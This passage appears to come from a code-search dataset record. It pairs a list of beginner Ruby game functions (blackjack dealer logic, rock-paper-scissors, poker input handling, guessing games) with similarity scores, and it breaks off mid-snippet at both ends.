gets.chomp\n\tvalidate_rps_choice(choice)\n\tplayer_1_choice = choice\n\n\tputs \"-------------------------------------------------\"\n\tprint \"\\nPLAYER 2, please select the corresponding number for your choice:\\n1 rock\\n2 paper\\n3 scissors\\n\\n\"\n\t\t#PLAYER 2 choses a valid selection of r,p,s\n\tchoice = gets.chomp\n\tvalidate_rps_choice(choice)\n\tplayer_2_choice = choice\n\n\tputs lets_see_who_wins(player_1_choice, player_2_choice)\n\nend", "def flawlessvictory\r\n\tputs \"\"\r\n\tputs \"\"\r\n\tputs \"\"\r\n\tputs \"Great Job!\"\r\n\tputs \"Now You Get To Choose Between 3 Amazing Prizes.\"\r\n\tputs \"\"\r\n\tputs \"CURRENT HP: \" + $hp.to_s\t\t\r\n\tputs \"\"\r\n\tputs \"1: 25 HP\"\r\n\tputs \"2: 50 HP\"\r\n\tputs \"3: 75 HP\"\r\n\tputs \"4: Save These Prizes For Later\"\r\n\tp1 = gets.chomp.to_i\r\n\t\t\r\n\tuntil p1 == 1 or p1 == 2 or p1 == 3 or p1 == 4\r\n\t\tputs \"CURRENT HP: \" + $hp.to_s\r\n\t\tputs \"\"\r\n\t\tputs \"1: 25 HP\"\r\n\t\tputs \"2: 50 HP\"\r\n\t\tputs \"3: 75 HP\"\r\n\t\tputs \"4: Save These Prizes For Later\"\r\n\t\tp1 = gets.chomp.to_i\r\n\tend\r\n\t\t\r\n\tif p1 == 1 \r\n\t\t$hp = $hp + 25 \r\n\t\t\t\r\n\t\tif $hp > 100\r\n\t\t\t$hp = 100\r\n\t\t\tputs \"I Sure Hope You Meant to Waist Some of That Prize\"\r\n\t\tend\r\n\r\n\t\t#v25 equals 1 so now I am able to take 25 hp off of the prize list later.\r\n\t\t$v25 = 1\r\n\r\n\t\tputs \"CURRENT HP: \" + $hp.to_s\r\n\t\tlevel\r\n\telse\r\n\t\tif p1 == 2\r\n\t\t\t$hp = $hp + 50\r\n\t\t\t\t\r\n\t\t\tif $hp > 100\r\n\t\t\t\t$hp = 100\r\n\t\t\t\tputs \"I Sure Hope You Meant to Waist Some of That Prize\"\r\n\t\t\tend\r\n\t\t\t\r\n\t\t\t#v50 equals 1 so now I can take 50 hp off of the prize list later.\r\n\t\t\t$v50 = 1\r\n\t\t\t\r\n\t\t\tputs \"CURRENT HP: \" + $hp.to_s\r\n\t\t\tlevel\r\n\t\telse\r\n\t\t\tif p1 == 3 \r\n\t\t\t\t$hp = $hp + 75\r\n\t\t\t\t\r\n\t\t\t\tif $hp > 100\r\n\t\t\t\t\t$hp = 100\r\n\t\t\t\t\tputs \"I Sure Hope You Meant to Waist Some of That Prize\"\r\n\t\t\t\tend\r\n\t\t\t\t\r\n\t\t\t\t#v75 equals 1 so now I can take 75 hp off of the prize list later.\r\n\t\t\t\t$v75 = 1\r\n\t\t\t\t\r\n\t\t\t\tputs \"CURRENT HP: \" + $hp.to_s\r\n\t\t\t\tlevel\r\n\t\t\telse \r\n\t\t\t\tif p1 == 4\r\n\t\t\t\t\tputs \"Ok, Good Luck In The Next Level\"\r\n\t\t\t\t\tlevel\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\tend\r\n\tend\r\n\t\r\n\t\r\n\r\nend", "def won\n divider\n if @input == @comp\n puts \"You picked #{@input}. Computer picked #{@comp}.\"\n puts \"\n ╦┌┬┐┌─┐ ┌─┐ ┌┬┐┬┌─┐ \n ║ │ └─┐ ├─┤ │ │├┤ \n ╩ ┴ └─┘ ┴ ┴ ┴ ┴└─┘o\"\n divider2\n puts \"Current Score: [User] #{@u_score} *** [Computer] #{@c_score}\" \n play_again\n elsif @input == \"rock\" && @comp == \"scissors\" || @input == \"paper\" && @comp == \"rock\" || @input == \"scissors\" && @comp == \"paper\"\n @u_score += 1\n puts \"You picked #{@input}. Computer picked #{@comp}.\"\n puts \"\n ╦ ╦┌─┐┬ ┬ ┬ ┬┬┌┐┌┬\n ╚╦╝│ ││ │ ││││││││\n ╩ └─┘└─┘ └┴┘┴┘└┘o\"\n divider2\n puts \"Current Score: [User] #{@u_score} *** [Computer] #{@c_score}\"\n play_again\n elsif \n @c_score += 1\n @input == \"rock\" && @comp == \"paper\" || @input == \"paper\" && @comp == \"scissors\" || @input == \"scissors\" && @comp == \"rock\"\n puts \"You picked #{@input}. Computer picked #{@comp}.\"\n puts \"\n ╦ ╦╔═╗╦ ╦ ╦ ╔═╗╔═╗╔═╗┬┬┬\n ╚╦╝║ ║║ ║ ║ ║ ║╚═╗║╣ │││\n ╩ ╚═╝╚═╝ ╩═╝╚═╝╚═╝╚═╝ooo\"\n divider2\n puts \"Current Score: [User] #{@u_score} /// [Computer] #{@c_score}\"\n play_again\n else\n puts \"You dun fucked up, I'm not even telling you the score because I don't even know how you got here bro\"\n play_again\n end\n end", "def bet\n user_input = false\n until user_input == true\n puts \"How much would you like to bet? (Enter amount or Quit)\"\n user_input = gets.chomp.to_i\n if user_input > @user[:balance]\n puts \"Sorry, you don't have enough money for that bet\"\n puts \"Your balance is $#{@user[:balance]}\" \n elsif user_input <= @user[:balance]\n @wager = user_input\n puts \"All bets are placed!\"\n user_input = true\n return\n else\n puts \"Invalid Selection\"\n end\n end\n end", "def dealerMustMeetPointMinimum(game)\n#====================================================\n notDone = true\n continueToPlay = true\n while (notDone == true) do\n if (game[:dealer].points < 17)\n handleOneCard(game, :dealer)\n continueToPlay = mayGameContinue(game, :dealer)\n else\n notDone = false\n end\n end\n return continueToPlay\n\nend", "def logicOperators\n prompt = TTY::Prompt.new\n bar = TTY::ProgressBar.new(\"Randomly Generating [:bar]\", total: 50)\n sleep(1)\n puts \"Great, now we know the basic's we can pretty much do anything\"\n sleep(2)\n puts \"Let's make things interesting! How about a game\"\n sleep(2)\n puts \"It'll be an easy number guessing game\"\n sleep(2)\n puts \"First I'll generate a number between 1 and 5, and store it in a variable\"\n sleep(2)\n 50.times do\n sleep(0.03)\n bar.advance # by default increases by 1\n end\n sleep(1)\n puts \"Great now!\"\n sleep(1)\n guess = prompt.slider(\"What's your guess\".colorize(:green), min: 1, max: 5, step: 1)\n puts \"Your guess was #{guess} and the number was 4\"\n sleep(2)\n puts \"We know the answer but wouldn't it be great if we could get the computer to tell us?\"\n sleep(4)\n puts \"luckily we can with '==' \"\n sleep(2)\n puts \"The computer comes with a couple built in 'logic operators' \"\n sleep(3)\n puts \"We simple go '#{guess} == 4' and the computer will tell us if they are equal to eachother\"\n sleep(3)\n puts \"The answer of course is #{guess == 4}\"\n sleep(2)\n puts \"Another great logic operator is '!='. This will tell us if to values are NOT equal to eachother\"\n sleep(3)\n puts \"There are also < and > if we need to tell if two numbers or greater then or less then eachother\"\n sleep(4)\n puts \"Great so we've figured out variables and date types\"\n sleep(2)\n puts \"As well as how to compare those data types\"\n sleep(2)\n puts \"Now wouldn't it be great if we had someone else to play with\"\n sleep(2)\n end", "def player_action\n loop do\n @input = STDIN.gets.chomp\n # Checks to see if the user is in a safe position to view their hand.\n if @input.downcase == 'y' || @input.downcase == 'yes'\n\n # Outputs all of the necessary information for the user.\n player_info(@active_players[0], @pot_size)\n current_info(@active_players, @table_current_bet)\n\n # If community cards have been dealt yet, output them for the user in a nice format.\n if @stage_of_play.positive?\n print 'The current community cards are '\n card_output(@community_cards)\n puts ''\n end\n puts ''\n print 'You have the '\n # Outputs the user's hole cards in a nice format.\n card_output(@active_players[0].hole_cards)\n\n puts ''\n puts ''\n\n puts 'What you you like to do?'\n # If the player has already acted this turn and their bet is equal to the highest bet, it means that they were the initial raiser (or checker).\n # So we break out of the loop asking for input so we can move to the next stage of the hand.\n if @active_players[0].acted == true && @active_players[0].current_bet == @table_current_bet\n # && @active_players[0].current_bet.positive?\n break\n\n # If we get to here and the player's current bet is equal to the tables highest bet, it means they're the first to act this turn, or they are the big blind and no one has bet.\n # Although a user is allowed to fold here, we don't provide the option as it is 100% free to check here with no downside.\n elsif @active_players[0].current_bet == @table_current_bet\n puts 'You can ' + '(C)heck'.light_yellow + ' or ' + '(R)aise.'.light_green\n\n loop do\n @input = STDIN.gets.chomp\n\n # If the player chooses to check, we adjust chips (using check_action) and rotate the @active_players array to move onto the next player.\n if @input.downcase == 'c' || @input.downcase == 'check'\n check_action\n @active_players.rotate!\n break\n\n # If the player chooses to raise, we adjust chips (using raise_action)\n elsif @input.downcase == 'r' || @input.downcase == 'raise'\n raise_bet\n # If @input_string is true, it means that the player has entered a correct value so we rotate the array and break out of the loop.\n # Otherwise, the player has changed their mind regarding the raise and wants to see the options again, so we don't rotate/break out.\n unless @input_string\n @active_players.rotate!\n break\n end\n else\n puts 'Please enter a valid input.'.light_red\n end\n end\n\n # Break out of asking for user input - the user input has already been entered.\n # Don't worry, we'll be back soon doing the same thing for the next player (if needed!)\n break\n\n # If the player's current bet is below the highest bet, they can't check, so we offer all other options.\n elsif @active_players[0].current_bet < @table_current_bet\n puts 'You can ' + '(C)all, '.light_yellow + '(R)aise,'.light_green + ' or ' + '(F)old.'.light_red\n\n loop do\n @input = STDIN.gets.chomp\n # Behaviour here is the same as checking/raising above - we just call different methods to adjust chips as necessary.\n if @input.downcase == 'c' || @input.downcase == 'call'\n call_bet\n @active_players.rotate!\n break\n elsif @input.downcase == 'r' || @input.downcase == 'raise'\n raise_bet\n unless @input_string\n @active_players.rotate!\n break\n end\n elsif @input.downcase == 'f' || @input.downcase == 'fold'\n fold_hand\n @active_players.rotate!\n break\n else\n puts 'Please enter a valid input.'\n end\n end\n break\n end\n # This means the player has entered a response other than Yes when asked if they want to view their hand.\n # Exiting out of the game mid hand would have disastrous effects on chip calculations so we just wait until they say yes!\n else\n puts \"That's okay - no rush!\"\n end\n end\nend", "def hit?(card_total)\n prompt_user\n user_input = get_user_input\n if user_input == \"h\"\n card_total += deal_card\n elsif user_input == \"s\"\n card_total\n else\n invalid_command\n prompt_user\n get_user_input\n end\nend", "def input\n valid = false\n\n # Loop until a valid input is entered\n until valid\n # Prompt for input\n print \"Enter your move > \"\n \n # Accept input from user\n user_input = gets.strip.to_s\n\n #Check to see if user quit... if so return\n if user_input == \"q\"\n @quit = true\n break;\n end\n\n #Otherwise split input string into an array\n input_array = user_input.split(\",\")\n\n # Strip any spaces or newlines from each piece\n input_array.each_index { |i| input_array[i] = input_array[i].strip.to_i }\n\n # Check input to make sure it is valid\n if input_array.size == 2 and input_array.all?{ |element| element.class == Fixnum }\n if input_array.all?{ |tower_no| tower_no > 0 and tower_no < 4 }\n valid = true\n return input_array\n else\n # message if player enters an invalid stack number\n puts \"Please enter only valid stack numbers (1, 2, or 3).\"\n end\n else\n # message if player enters in an incorrect format (resulting in the wrong number or type of arguments)\n puts \"Please enter your move in the format \\\"1,3\\\".\"\n end\n end\n #If loop reaches the end without returning, return nil (results in trying over from the beginning of the turn)\n return nil \n end", "def ask_user_guess (total_games = 3)\n puts \"Please guess a nunmber between 1 and 10!\"\n user_guess = gets\n user_guess = user_guess.chomp.to_i\n if user_guess == secret_number\n puts \"That's correct! Congratulations!!! Game over!\"\n elsif\n user_guess > secret_number\n total_games = total_games -1\n \tif total_games > 0\n \t puts \"Too high! Guess again! You have #{total_games} games left\"\n \t ask_user_guess(total_games)\n \telse\n \t puts \"Sorry, no more guesses. The correct answer was 3. Game over!\"\n \tend\n else\n total_games = total_games -1\n \tif total_games > 0\n puts \"Too low! Guess again You have #{total_games} games left\"\n \t ask_user_guess(total_games)\n \telse\n \t puts \"Sorry, no more guesses. The correct answer was 3. Game over!\"\n \tend\n end\nend", "def whatNext(level)\n\tputs \"You win! Play next level? (y/n)\"\n\tcase read_char\n\twhen \"n\"\n\t\toverwrite($linePrinted, true)\n\t\texit 0\n\twhen \"y\"\n\t\toverwrite($linePrinted, true)\n\t\tplayBlockMan(level+1)\n\telse\n\t\toverwrite(1, true)\n\t\twhatNext(level)\n\tend\nend", "def gold_room\n puts \"This room is full of gold. How much do you take?\"\n\n print \"> \"\n choice = $stdin.gets.chomp\n\n if choice.include?('0') || choice.include?('1')\n how_much = choice.to_i\n else\n dead(\"Man, learn to type a number.\")\n end\n\n if how_much < 50\n puts \"Nice, you're not greedy, you win!\"\n exit(0)\n else\n dead(\"You greedy bastard!\")\n end\nend", "def witch_room\n puts \"There is a witch in here.\"\n puts \"Her eyes are flickering like dying candlelights on a stormy night\"\n puts \"The evil witch is blocking your only exit\"\n puts \"How are you going to remove the witch?\"\n witch_moved = false\n\n while true\n print \"> \"\n choice = $stdin.gets.chomp\n\n if choice == \"take honey\"\n unicorn(\"The bear looks at you then slaps your face off\")\n elsif choice == \"curse witch\" && !witch_moved\n puts \"The witch has moved from the door. You can go through now\"\n witch_moved = true\n elsif choice == \"slap witch\" && witch_moved\n unicorn(\"The witch gets real angry and puts a magic spell on you, you are a little frog now.\")\n elsif choice == \"open door\" && witch_moved\n rainbow\n else\n puts \"I got no idea what that means\"\n end\n end\nend", "def guessing_game\n\n if @comp == @ans\n puts \"#{@comp} is equal to #{@ans}. Congrats!\"\n\n else\n while @comp != @ans do\n puts \"#{@comp} - Is my guess high or low.\"\n hint = gets.chomp.downcase\n\n if hint == \"high\"\n @comp = rand(1...@comp)\n guessing_game\n\n elsif hint == \"low\"\n @comp = rand(@comp..25)\n guessing_game\n end\n end\n end\n \nend" ]
[ "0.66261643", "0.63764685", "0.6215423", "0.6140505", "0.6108753", "0.6041891", "0.6037034", "0.60302997", "0.59977007", "0.59604657", "0.5959852", "0.5958253", "0.5917129", "0.59132934", "0.59018487", "0.5894895", "0.58785677", "0.5858814", "0.5857725", "0.5847214", "0.58379185", "0.5834408", "0.5833165", "0.5799464", "0.5790178", "0.57875204", "0.5754886", "0.5754633", "0.57455444", "0.5734982", "0.57309484", "0.57215536", "0.5704119", "0.5703149", "0.57004577", "0.5695085", "0.5688617", "0.5682918", "0.56808376", "0.56699157", "0.5665278", "0.56496716", "0.56493795", "0.56386876", "0.56386876", "0.5636291", "0.56352854", "0.5633216", "0.5614567", "0.5613807", "0.5598371", "0.55983585", "0.5589354", "0.5587816", "0.5577895", "0.5575368", "0.5568454", "0.5567327", "0.5566668", "0.5565863", "0.5563177", "0.5562076", "0.5559554", "0.5554565", "0.55544406", "0.5551733", "0.5551435", "0.55465937", "0.55465734", "0.55412906", "0.55368006", "0.5535989", "0.5535828", "0.5535486", "0.5531411", "0.5529167", "0.55245584", "0.5520955", "0.5520568", "0.55197096", "0.5517452", "0.5516686", "0.55135167", "0.55078053", "0.5507252", "0.55063885", "0.55059326", "0.5505236", "0.54992086", "0.5493279", "0.5490637", "0.548849", "0.5483488", "0.5483145", "0.5482646", "0.5481422", "0.54722035", "0.5464045", "0.5460119", "0.5457436" ]
0.6056319
5
get card for the dealer until their value is higher than 21 +++ (returns "over21") or 17 (returns "over17"). reccursively calls +++ itself if the previous conditions are not met.
def turn_dealer display_board_screen(false) hand_total = calculate_hand_total_value(@hand_dealer) if check_if_over_21(hand_total) return "over21" elsif check_if_over_17(hand_total) return "over17" else get_card_and_put_in_hand("dealer") sleep 1 turn_dealer end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def dealer_sequence d_cards, p_cards\r\n deal_dealer d_cards, p_cards\r\n value = card_total d_cards\r\n while value <= 21\r\n if value < 17\r\n\t deal_dealer d_cards, p_cards\r\n value = card_total d_cards\r\n \t else\r\n \t\t return value\r\n \t end\r\n end\r\n\treturn value\t\r\nend", "def dealerPlay(deck, player, dealer)\n until calcScore(dealer) >= 17 do\n dealer.push(*deck.shift)\n showGame(player, dealer)\n end \n\n if calcScore(dealer) > 21 \n puts 'You won!'\n elsif 21 - calcScore(dealer) < 21 - calcScore(player)\n puts 'You lost!'\n else\n puts 'It\\'s a draw!'\n end\nend", "def play_dealer_hand(dealerHand)\n \n loop do #Loop forever\n \n #If the value of the dealer's hand is less than 17 then give the \n #dealer another card\n if dealerHand < 17 then\n #Call method responsible for getting a new card and add it to the \n #dealer's hand\n dealerHand = dealerHand + get_new_card\n else\n break #Terminate the execution of the loop\n end\n \n end\n \n #Return the value of the dealer's hand\n return dealerHand\n \n end", "def dealer_round (dealer_cards, dealer_total, deck)\n puts \"Now it's the dealer's turn to play...\"\n dealer_total = total(dealer_cards, dealer_total)\n while dealer_total <= 17\n puts \"Dealing another card...\"\n dealer_cards << deal_cards(1,deck)\n value_string = dealer_cards.last.last[1]\n puts \"Dealer has been dealt a #{value_string}.\"\n dealer_total += get_int_value(value_string, dealer_total)\n puts \"New dealer total: #{dealer_total}\"\n end\n dealer_total\nend", "def play_as_dealer(deck)\r\n if value < 17\r\n hit!(deck)\r\n play_as_dealer(deck)\r\n else\r\n puts \"Dealer Total is #{value}\"\r\n end\r\n end", "def play_dealer_hand(dealerHand)\r\n\r\n loop do #Loop forever\r\n\r\n #If the value of the dealer's hand is less than 17 then give the\r\n #dealer another card\r\n if dealerHand < 17 then\r\n #Call method responsible for getting a new card and add it to the\r\n #dealer's hand\r\n dealerHand = dealerHand + get_new_card\r\n else\r\n break #Terminate the execution of the loop\r\n end\r\n\r\n end\r\n\r\n #Return the value of the dealer's hand\r\n return dealerHand\r\n\r\n end", "def dealer_decision\n while hand_value(@dealer_hand) < 17 \n puts \"\\nDealer hits!\"\n hit(@dealer_hand)\n show_hands()\n end\n end", "def value_of_hand(hand)\n collection_of_card_values = hand.collect {|index| index[1]}\n card_values = collection_of_card_values.inject{|sum,next_card| sum + next_card }\n if collection_of_card_values.include?(1) && card_values < 12\n card_values += 10\n end\n card_values\nend", "def dealer_turn\r\n dealer.reveal_hand\r\n if dealer.total_for_hand < 17\r\n loop do\r\n dealer.add_to_hand(deck)\r\n break if dealer.total_for_hand > 16\r\n end\r\n puts \"#{dealer.name} has #{dealer.total_for_hand}\"\r\n end\r\n end", "def hit\n new_card = @deck.cards.pop\n @current_hand << new_card\n @total += new_card.value\n puts \"drew #{@current_hand[-1].card_id}\"\n\n @current_hand.each do |card|\n if @total > 21\n if card.value == 11 && card.ace_low == false\n @total -= 10\n card.ace_low = true\n end\n end\n end\n end", "def dealer_hit\n # puts \"Dealer has #{@dealer.total}\"\n @dealer.hit until @dealer.total > 16\n # puts \"Dealer has #{@dealer.total}\"\nend", "def value(hand)\n ace_count = 0\n hand_value = 0\n\n hand.each do |card|\n if card == :ace\n ace_count += 1\n hand_value += 11\n else\n hand_value += card\n end\n end\n\n # flip aces from being worth 11 to being worth 1 until we get <= 21\n # or we run out of aces\n while hand_value > 21 && ace_count > 0\n hand_value -= 10\n ace_count -= 1\n end\n\n hand_value\nend", "def dealer_turn(dealer_cards, deck)\n loop do\n break if hand_value(dealer_cards) >= DEALER_THRESHOLD\n hit(dealer_cards, deck)\n end\n puts \"\\nThe dealer has: #{cards_string(dealer_cards)}.\\n\\\ntotal: #{hand_value(dealer_cards)}\"\n puts \"The dealer busted!\" if busted?(dealer_cards)\nend", "def determine_dealers_best_total\n # @dealer_hand = ['ace of spades', '5 of spades', '4 of spades', 'ace of diamonds']\n # @player1_hand = ['3 of spades', 'ace of hearts', '4 of spades', 'ace of clubs']\n # @player1_hand = ['ace of clubs', '2 of clubs', 'ace of hearts', '4 of hearts']\n # @dealer_hand = ['king of hearts', '6 of diamonds']\n sum_of_dealers_hand = 0\n number_of_aces_in_hand = 0\n @dealer_hand.each {|x| # begin loop adding dealers hand\n card_value = @deckhash.fetch(x)\n\n if card_value == 1 then # adjust aces to a value of 11\n card_value = 11\n number_of_aces_in_hand = number_of_aces_in_hand + 1\n end\n sum_of_dealers_hand = sum_of_dealers_hand + card_value\n\n } #end of loop adding dealers hand\n\n if sum_of_dealers_hand > 21 then # must set one or more aces back to one\n loop do\n if number_of_aces_in_hand == 0 then break end\n sum_of_dealers_hand = sum_of_dealers_hand - 10\n if sum_of_dealers_hand < 22 then break end\n number_of_aces_in_hand = number_of_aces_in_hand - 1\n end #end of loop do\n end #end of sum_of_dealers_hand > 21\n\n # $stdout.write(\"Showing card and value #{sum_of_dealers_hand}, #{number_of_aces_in_hand} \\n\")\n # ### this method returns of the dealer's best hand'\n\n sum_of_dealers_hand = sum_of_dealers_hand + 0\n\n end", "def play (dealer, deck)\n print \"Dealer turns over his hole card and he has a \"\n dealer.hand[1].show_card \n sleep(2)\n dealer.show_hand\n sleep(1)\n\n while dealer.total_hand < 17\n puts \"Dealer to hit on #{dealer.total_hand}\"\n sleep(2)\n dealer.new_card(deck.draw_card)\n dealer.show_hand\n end\n\n \n\n\n puts \"\\nDealer total is #{dealer.total_hand}\" \n sleep(1)\n dealer.total_hand\n if dealer.total_hand > 21\n puts \"Dealer busts you win!!!\"\n return -1 \n end \n end", "def dealerMustMeetPointMinimum(game)\n#====================================================\n notDone = true\n continueToPlay = true\n while (notDone == true) do\n if (game[:dealer].points < 17)\n handleOneCard(game, :dealer)\n continueToPlay = mayGameContinue(game, :dealer)\n else\n notDone = false\n end\n end\n return continueToPlay\n\nend", "def adjust_value_for_aces(hand, value)\n aces = [] \n hand.each do |x|\n if x[0..2] == \"Ace\"\n aces.push(x)\n end\n end\n ace_count = aces.length\n if ace_count != 0 && value > 21\n begin\n value -= 10\n ace_count -= 1\n end until value <= 21 || ace_count == 0\n end\n value\nend", "def dealer_draw\n if dealer_hand_value < 16\n until dealer_hand_value >=16\n dealer_hit\n end\n puts \"The dealer has drawn.\"\n else\n puts \"The dealer stays.\"\n end\n end", "def computers_actions(computers_cards_value, computers_cards, deck, players_cards_value, players_cards_two_value)\n while (computers_cards_value.to_i < players_cards_value.to_i) or (computers_cards_value.to_i < players_cards_two_value.to_i)\n if computers_cards_value.to_i > 17\n exit\n else\n computers_cards.push (the_draw(deck))\n computers_cards_value = card_value(computers_cards_value, computers_cards)\n if (computers_cards_value.to_i > 21) and (computers_cards.index{ |x, y| y == 11 } == true)\n card_value_one(computers_cards)\n computers_actions(computers_cards_value, computers_cards, deck, players_cards_value, players_cards_two_value) \n exit\n end\n end\n end\n return computers_cards_value\n end", "def dealer_action\n # Dealer stands on soft 17's.\n while @dealer.hand.count < 17\n @dealer.take(@shoe.hit)\n end\n\n # The first card is drawn silently. This fixes the count.\n @shoe.adjust_count(@dealer.hand.cards[0])\n end", "def deal()\n card = self.cards.shift()\n raise \"Cannot deal more than 52 cards.\" unless card\n return card\n end", "def calculate_hand_value(hand)\n value = 0\n if hand.values.reduce(:+) <= 21\n value = hand.values.reduce(:+)\n elsif hand.values.reduce(:+) > 21 && hand.keys.any? {|card| card.include?(\"A\") }\n hand.keys.each do |card|\n hand[card] = 1 if card.include?(\"A\")\n value = hand.values.reduce(:+)\n break if value <= 21\n end\n value\n else\n value = hand.values.reduce(:+)\n end\n\nend", "def get_optimum_hand_score(hand)\n total = 0\n hand.each do |card|\n total += get_card_value(card)\n end\n\n #Count the number of aces we have\n num_aces = (hand.select{|card| get_card_value(card) == 11}).length\n\n #Account fo aces\n while total > 21 && num_aces > 0 do\n total -= 10\n num_aces -= 1\n end\n return total\nend", "def value \r\n value = 0\r\n @cards.each do |card|\r\n value += card.value\r\n end\r\n if value > 21\r\n value = 0\r\n @cards.each do |card|\r\n if card.value == 11\r\n value += 1\r\n else\r\n value += card.value\r\n end\r\n end\r\n end\r\n value\r\n end", "def decide(dealer)\n @dealer_card = dealer.visible_card[:value]\n @card_total = hands.last.total\n if values.include?(Ace)\n if (values.include?(2) || values.include?(3)) && [5,6].include?(@dealer_card)\n :doubledown #hit\n elsif values.include?(2) || values.include?(3)\n :hit\n elsif (values.include?(4) || values.include?(5)) && [4,5,6].include?(@dealer_card)\n :doubledown #hit\n elsif values.include?(4) || values.include?(5)\n :hit\n elsif values.include?(6) && [3,4,5,6].include?(@dealer_card)\n :doubledown #hit\n elsif values.include?(6)\n :hit\n elsif values.include?(7) && [2,7,8].include?(@dealer_card)\n elsif values.include?(7) && [3,4,5,6].include?(@dealer_card)\n :doubledown #stand\n elsif values.include?(7)\n :hit\n elsif values.include?(8) || values.include?(9)\n :stand\n elsif values.first == values.last\n :split\n end\n elsif values.first == values.last\n if [2,3,7].include?(values.first) && @dealer_card <= 7\n :split\n elsif [2,3,7].include?(values.first)\n :hit\n elsif values.first == 4 && [5,6].include?(@dealer_card)\n :split\n elsif values.first == 4\n :hit\n elsif values.first == 5 && #dealer_card <= 9\n :doubledown #hit\n elsif values.first == 5 \n :hit\n elsif values.first == 6 && @dealer_card <= 6\n :split\n elsif values.first == 6\n :hit\n elsif values.first == 8\n :split\n elsif values.first == 9 && [2,3,4,5,6,8,9].include?(@dealer_card)\n :split\n elsif values.first == 9\n :stand\n elsif values.first.to_i == 10\n :split\n end\n else\n if (5...8).include?(@card_total)\n :hit\n elsif @card_total == 9 && (3...6).include?(@dealer_card)\n :doubledown #hit\n elsif @card_total == 9\n :hit\n elsif @card_total == 10 && (2...9).include?(@dealer_card)\n :doubledown #hit\n elsif @card_total == 10\n :hit\n elsif @card_total == 11 && ((2...10)+[Jack, Queen, King]).include?(@dealer_card)\n :doubledown #hit\n elsif @card_total == 11\n :hit\n elsif @card_total == 12 && [4,5,6].include?(@dealer_card)\n :stand\n elsif @card_total == 12\n :hit\n elsif (13...16).include?(@card_total) && @dealear_card <= 6\n :stand\n elsif (13...16).include?(@card_total) && (@dealer_card >= 7 || @dealer_card.is_a?(Ace))\n :hit\n elsif @card_total == 17\n :stand\n end\n end\n end", "def dealer_turn\n puts \"Dealer's Turn. Showing #{dealer_hand[0]}\"\n dealer_value = dealer_hand.reduce(0) {|sum, num| sum + num.value}\n if dealer_value < 16\n d_hit_phase\n end\n puts dealer_value\n end", "def determine_dealers_lowest_total\n sum_of_dealers_hand = 0\n @dealer_hand.each {|x|\n card_value = @deckhash.fetch(x)\n if card_value == 1 then card_value = 11\n end\n sum_of_dealers_hand = sum_of_dealers_hand + card_value\n }\n # ### This method returns sum of dealer's hand\n return sum_of_dealers_hand\n end", "def runner\n # code runner here\n welcome\n num = initial_round\n \n\n until (num>21) do\n num = hit? (num)\n #num = num + x \n end\n\n puts \"Your cards add up to #{num}\"\n end_game (num)\n \n \n\nend", "def get_new_card\n \n #Assign a random number between 1 and 13 as the value of the card being \n #created\n card = 1 + rand(13)\n \n #A value of 1 is an ace, so reassign the card a value of 11\n return 11 if card == 1 \n\n #A value of 10 or more equals a face card so reassign the card a value\n #of 10 \n return 10 if card >= 10\n \n return card #Return the value assigned to the new card\n \n end", "def dealerMustMeetPointMinimum()\n #================================================\n notDone = true\n continueToPlay = true\n while (notDone == true) do\n if (@dealer.points < 17)\n handleOneCard(@dealer)\n continueToPlay = mayGameContinue(@dealer)\n else\n notDone = false\n end # else, if\n end # while\n return continueToPlay\n\n end", "def check\n containAce = false\n i = 0\n sum = 0\n while i < @hand.length\n if 1 == num_to_value(@hand[i])\n containAce = true\n end\n sum += num_to_value(@hand[i])\n i += 1\n end\n\n if containAce\n if sum < 7\n @value = sum + 10\n elsif sum < 11\n @value = sum + 10\n @status = \"finished\"\n elsif 11 == sum\n if 2 == @hand.length \n @value = 50 # 50 means it's BLACKJACK\n @status = \"finished\"\n else\n @value = 21\n @status = \"finished\"\n end\n elsif sum < 17\n @value = sum\n else sum <= 21\n @value = sum\n @status = \"finished\"\n end\n else\n if sum < 17\n @value = sum\n else\n @value = sum\n @status = \"finished\"\n end\n end\n end", "def card_value_determiner(card)\n string_nums = (2..10).to_a.map { |i| i.to_s}\n if string_nums.include?(card.face)\n card.value = card.face.to_i\n elsif card.face == 'Ace'\n card.value == 11\n else\n card.value = 10\n end\nend", "def get_new_card\r\n\r\n #Assign a random number between 1 and 13 as the value of the card being\r\n #created\r\n card = 1 + rand(13)\r\n\r\n #A value of 1 is an ace, so reassign the card a value of 11\r\n return 11 if card == 1\r\n\r\n #A value of 10 or more equals a face card so reassign the card a value\r\n #of 10\r\n return 10 if card >= 10\r\n\r\n return card #Return the value assigned to the new card\r\n\r\n end", "def hit(player_hit)\n card = shoe.cards.shift\n #Player's choice for each ace. Should allow player to reassign the Ace's\n ##value later (in bust cases). Idea: change code in hand_check\n if player_hit == player\n if (card.card_name.slice(0,3) == \"Ace\")\n response = \"\"\n puts \"You drew an #{card.card_name}. Would you like it to equal 1 or 11? Please type '1' or '11' and press enter.\"\n response = gets.chomp\n if response == \"1\"\n card.value = 1\n player_hit.hand << card\n elsif response == \"11\"\n card.value = 11\n player_hit.hand << card\n end\n else\n player_hit.hand << card\n end\n #Dealer chooses based upon hand count\n elsif player_hit == dealer\n if card.card_name.slice(0,3) == \"Ace\"\n if (dealer.hand_total + 11) <= 21\n player_hit.hand << card\n elsif (dealer.hand_total + 11) > 21\n card.value = 1\n player_hit.hand << card\n end\n else\n player_hit.hand << card\n end\n end\n end", "def runner\n welcome\n cards_counter = initial_round\n\n until cards_counter > 21\n compare = hit?(cards_counter)\n compare == cards_counter ? display_card_total(cards_counter):display_card_total(compare)\n cards_counter = compare\n end\nend_game(cards_counter)\nend", "def deal\r\n @deck_of_cards.shift\r\n end", "def auto_dealer(deck)\n if score < 16\n hit!(deck)\n auto_dealer(deck)\n end\n end", "def smart_aces hand\n# Adjusts the value of \"Ace\" elements to be either 1 or 11 depending on the hand total\n\thand_total = hand.reduce :+\n\tif hand_total < 12 && hand_total > 2\n\t\thand.map! do |card|\n\t\t\tif card == 1\n\t\t\t\t11\n\t\t\telse\n\t\t\t\tcard\n\t\t\tend\n\t\tend\n\telsif hand_total > 21\n\t\thand.map! do |card|\n\t\t\tif card == 11\n\t\t\t\t1\n\t\t\telse\n\t\t\t\tcard\n\t\t\tend\n\t\tend\n\telsif hand_total == 2\n\t\thand[0] = 11\n\tend\n\nend", "def runner\n welcome\n\n num = initial_round #sum of 2 first cards\n num\n\n until num > 21\n num = hit?(num) #type h or s, if s return initial_round, if h return new sum\n display_card_total(num) #total is num\n end\n\n end_game(num)\n\nend", "def play(deck)\r\n\t\twhile 